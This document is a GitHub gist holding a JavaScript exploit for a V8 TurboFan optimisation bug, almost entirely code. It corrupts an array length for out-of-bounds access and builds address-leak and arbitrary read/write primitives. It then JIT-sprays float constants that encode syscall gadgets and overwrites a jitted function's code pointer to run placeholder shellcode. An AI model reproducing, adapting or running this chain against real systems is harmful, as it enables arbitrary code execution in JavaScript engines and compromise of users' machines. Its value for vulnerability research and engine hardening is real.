Skip to content

Instantly share code, notes, and snippets.

@fatalbit
Last active December 7, 2019 03:26
Show Gist options
  • Select an option

  • Save fatalbit/e6db445f20f43cb7c5dd55f050f24d53 to your computer and use it in GitHub Desktop.

Select an option

Save fatalbit/e6db445f20f43cb7c5dd55f050f24d53 to your computer and use it in GitHub Desktop.
load("int64.js");
function gc() {
for (let i = 0; i < 0x10; i++)
new ArrayBuffer(0x1000000);
}
function opt(arg) {
/* Just find a2 and corrupt the length and exit in opt */
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a2[1] = 1.1;
/* Global variables trick up TurboFan */
/* Corrupt the length of a2*/
var computed_index = (x >> 16);
computed_index *= 41;
a1[computed_index] = 1.39067116156700086443e-309;
return a1[computed_index];
}
var a1, a2;
let small = [1.1];
let large = [1.1,1.1];
large.length = 65536;
large.fill(1.1);
for (let j = 0; j< 100000; j++) {
opt.apply(null, small);
}
// Trigger bug
leak = Int64.from_double(opt.apply(null, large));
//console.log("Leak: "+leak);
corrupted = a2;
console.log("Length: "+corrupted.length);
a1 = null;
a2 = null;
/* Move our oob array to old space before anything else */
gc();
gc();
var storage = new Array(0x100);
let shellcode = [0xcc, 0xcc, 0xcc, 0xcc];
let sc_arr = new Uint8Array(shellcode.length);
/* Copy to shellcode linear memory */
for (var i = 0; i < shellcode.length; ++i) {
sc_arr[i] = shellcode[i];
}
let jit_me = function (sc) {
v = sc[0];
v += 3.73000261590230958354e+245; /* pop rax; pop rdi; push rdi; push rax; */
v += 2.92780753885961890235e+274; /* mov rdi, [rdi+0xf]; */
v += 3.00248484401132503471e+274; /* dec rdi */
v += 2.92125754256905198975e+274; /* mov esi, 0x1000*/
v += 2.92125743956247009127e+274; /* mov rdx, 7 */
v += 2.92125743963784642509e+274; /* mov eax, 10 */
v += 2.95808085482776011601e+274; /* add rdi, 20; push rdi; */
v += 2.92672488331181473056e+274; /* shr rdi, 12 */
v += 2.92671167594853633893e+274; /* shl rdi, 12 */
v += -7.72554420633782839915e+115; /* syscall; pop rdi; call rdi */
return v;
}
for (var i = 0; i < 0x10000; ++i)
jit_me(sc_arr);
/* Don't need an obj_addr_at if we store something to corrupt */
for (var i = 0; i < storage.length; ++i) {
if (i % 2) {
storage[i] = [new Int64("0xfeedface").to_double(),
new Int64("0xdeadbeef").to_double(), jit_me];
} else {
storage[i] = new ArrayBuffer(0xbabe);
}
}
/* Move everything else */
gc();
gc();
//%DebugPrint(corrupted);
//%DebugPrint(storage[0]);
//%DebugPrint(storage[1]);
//readline();
var backing_store_idx = null;
var addr_of_idx = null;
var jit_addr = null;
for (var i = 0; i < corrupted.length; ++i) {
if (corrupted[i] == new Int64("0xdeadbeef").to_double()) {
if (corrupted[i-2] == new Int64("0xfeedface").to_double()) {
console.log("Found AddrOf Idx");
/* Mark values */
corrupted[i] = new Int64("0xfeedface").to_double();
corrupted[i-2] = new Int64("0xfeedface").to_double();
addr_of_idx = i-4;
}
}
if (backing_store_idx == null && corrupted[i] == new Int64("0xbabe").to_double()) {
/* Mark array buffer*/
console.log("Found ArrayBuffer");
corrupted[i] = new Int64("0xde00").to_double();
backing_store_idx = i+1;
}
if (backing_store_idx != null &&
addr_of_idx != null ) {
break;
}
}
if (backing_store_idx == null ||
addr_of_idx == null) {
console.log("Unreliable");
} else {
var corrupted_ab = null;
var addr_of_arr = null;
for (var i = 0; i < storage.length; ++i) {
if (i%2) {
tmp = storage[i];
if (tmp[0] == new Int64("0xfeedface").to_double() &&
tmp[1] == new Int64("0xfeedface").to_double()) {
addr_of_arr = tmp;
/* We can grab the jitted function addr here already since it's already in
* the array */
}
} else {
if (storage[i].byteLength == 0xde00) {
corrupted_ab = storage[i];
}
}
if (corrupted_ab != null && addr_of_arr != null)
break;
}
/* TODO: abort if unreliable */
if (corrupted_ab == null)
console.log("Unreliable");
if (addr_of_arr == null)
console.log("Unreliable");
let addr_of = function(obj) {
addr_of_arr[3] = obj;
return corrupted[addr_of_idx];
}
let write64 = function(addr, val) {
corrupted[backing_store_idx] = addr.to_double();
let u32a = new Uint32Array(corrupted_ab);
u32a[0] = val.low;
u32a[1] = val.high;
}
let read64 = function(addr) {
corrupted[backing_store_idx] = addr.to_double();
let u32a = new Uint32Array(corrupted_ab);
return new Int64(null, u32a[1], u32a[0]);
}
let read8 = function(addr) {
corrupted[backing_store_idx] = addr.to_double();
let u8a = new Uint8Array(corrupted_ab);
return u8a[0];
}
let find_gadget_start = function(addr, start_bytes) {
for (let offset = 0; ; offset++) {
let found = true;
for (var i = 0; i < start_bytes.length; ++i) {
b = read8(addr.add(offset+i));
if (b != start_bytes[i]) {
found = false;
break;
}
}
if (found) {
return offset;
}
}
}
jit_addr = Int64.from_double(addr_of(jit_me)).sub(1);
console.log("Jit Function at: "+jit_addr);
console.log("Setup done. Getting control of execution");
code_addr = read64(jit_addr.add(0x30)).sub(1);
console.log("Code addr: "+code_addr);
to_code_offset = 0x3f;
gadget_header = [0x90, 0x90, 0x58, 0x5f, 0x57, 0x50, 0xeb, 0x72];
pivot_offset = find_gadget_start(code_addr, gadget_header);
new_addr = code_addr.add(pivot_offset).sub(to_code_offset);
print("pivot to: "+new_addr);
write64(jit_addr.add(0x30), new_addr);
jit_me(sc_arr);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment